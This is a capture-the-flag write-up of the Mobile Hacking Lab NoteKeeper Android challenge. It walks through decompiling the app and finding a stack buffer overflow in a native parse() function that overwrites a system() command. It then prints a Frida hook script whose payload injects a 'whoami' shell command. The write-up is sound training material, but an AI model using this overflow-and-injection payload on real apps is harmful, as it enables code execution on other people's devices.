MobileHackingLab Notekeeper

Introduction

The NoteKeeper app presents an interesting buffer overflow vulnerability challenge from Mobile Hacking Lab. This note-taking application contains a critical vulnerability that allows for remote code execution. In this writeup, I'll document my approach to analyzing and exploiting this vulnerability.

Initial Reconnaissance

The app appears straightforward - a simple note-taking application where users can add titles and descriptions for their notes.

Static Analysis

Decompiling the APK

I used jadx-gui to decompile the APK. Examining the MainActivity revealed an interesting native method:

public final native String parse(String str);

And the library loading code in the static initializer:

static {
    System.loadLibrary("notekeeper");
}

A native library means potential memory corruption vulnerabilities.

Native Library Analysis

I extracted the libnotekeeper.so file from the APK and opened it in Ghidra. After analyzing the binary, I located the corresponding JNI function:

Java_com_mobilehackinglab_notekeeper_MainActivity_parse

The function's decompiled code revealed several concerning elements:

Java_com_mobilehackinglab_notekeeper_MainActivity_parse(_JNIEnv *param_1, undefined8 param_2, _jstring *param_3)
{
  int local_2a8;
  char local_2a4[100];
  char acStack_240[500];
  int local_4c;
  ushort *local_48;
  _jstring *local_40;
  undefined8 local_38;
  _JNIEnv *local_30;
  undefined8 local_28;

  local_40 = param_3;
  local_38 = param_2;
  local_30 = param_1;
  local_48 = (ushort *)_JNIEnv::GetStringChars(param_1, param_3, (uchar *)0x0);
  local_4c = _JNIEnv::GetStringLength(local_30, local_40);
  memcpy(acStack_240, "Log \"Note added at $(date)\"", 500);
  
  if (local_48 == (ushort *)0x0) {
    local_28 = 0;
  }
  else {
    local_2a4[0] = FUN_00100bf4(*local_48 & 0xff);
    for (local_2a8 = 1; local_2a8 < local_4c; local_2a8 = local_2a8 + 1) {
      local_2a4[local_2a8] = (char)local_48[local_2a8];
    }
    system(acStack_240);
    local_2a4[local_2a8] = '\0';
    local_28 = _JNIEnv::NewStringUTF(local_30, local_2a4);
  }
  return local_28;
}
  1. The local_2a4 buffer is fixed at 100 bytes

  2. The copy loop uses local_4c (the input string length) without any bounds checking

  3. A system() call executes a command stored in acStack_240 If I provide a string longer than 100 characters, I can overflow local_2a4 and potentially overwrite acStack_240, which is used in the system() call.

Vulnerability Analysis

The vulnerability occurs because:

  • The title string is passed to the native parse() function

  • The function copies characters from the input to a fixed-size buffer without length validation

  • The buffer overflow can overwrite adjacent memory, including the command string passed to system() The stack layout suggests that acStack_240 is positioned after local_2a4 in memory, which means a sufficiently long input will overwrite the command executed by system().

Crafting the Exploit

To exploit this vulnerability, I need to: 4. Provide a title long enough to overflow the 100-byte buffer 5. Add a command injection payload that will overwrite the original command. This should execute the whoami command and save the output to a file in the app's data directory.

Testing with Frida

To reliably inject my payload, I used Frida to hook the parse() method:

Java.perform(function () {
    var MainActivity = Java.use('com.mobilehackinglab.notekeeper.MainActivity');
    var parse = MainActivity.parse.overload('java.lang.String');
    parse.implementation = function (title) {
        var payload = "A".repeat(100);
        payload += "XXXX";
        payload += "; whoami > /data/data/com.mobilehackinglab.notekeeper/commandInjection.txt";
        console.log("[+] Injected payload: " + payload);
        return parse.call(this, payload);
    };
});

I started Frida and attached to the NoteKeeper app:

frida -U -p 6501 -l frida-script.js
demo.gif

Root Cause Analysis

This vulnerability exists because:

  • User input (the note title) is directly processed by unsafe native code

  • The native code performs unbounded string copying into a fixed-size buffer

  • The command string for system() is located in a memory area that can be overwritten by the buffer overflow

Conclusion

The NoteKeeper challenge demonstrates a classic buffer overflow vulnerability in a modern Android application. By analyzing the native code and understanding the memory layout, I was able to craft an exploit that achieved remote code execution.

This reinforces the importance of secure coding practices, especially when dealing with native code in Android applications. Even in 2025, memory corruption vulnerabilities continue to be a significant security risk, particularly in applications that combine managed Java/Kotlin code with native libraries.

Last updated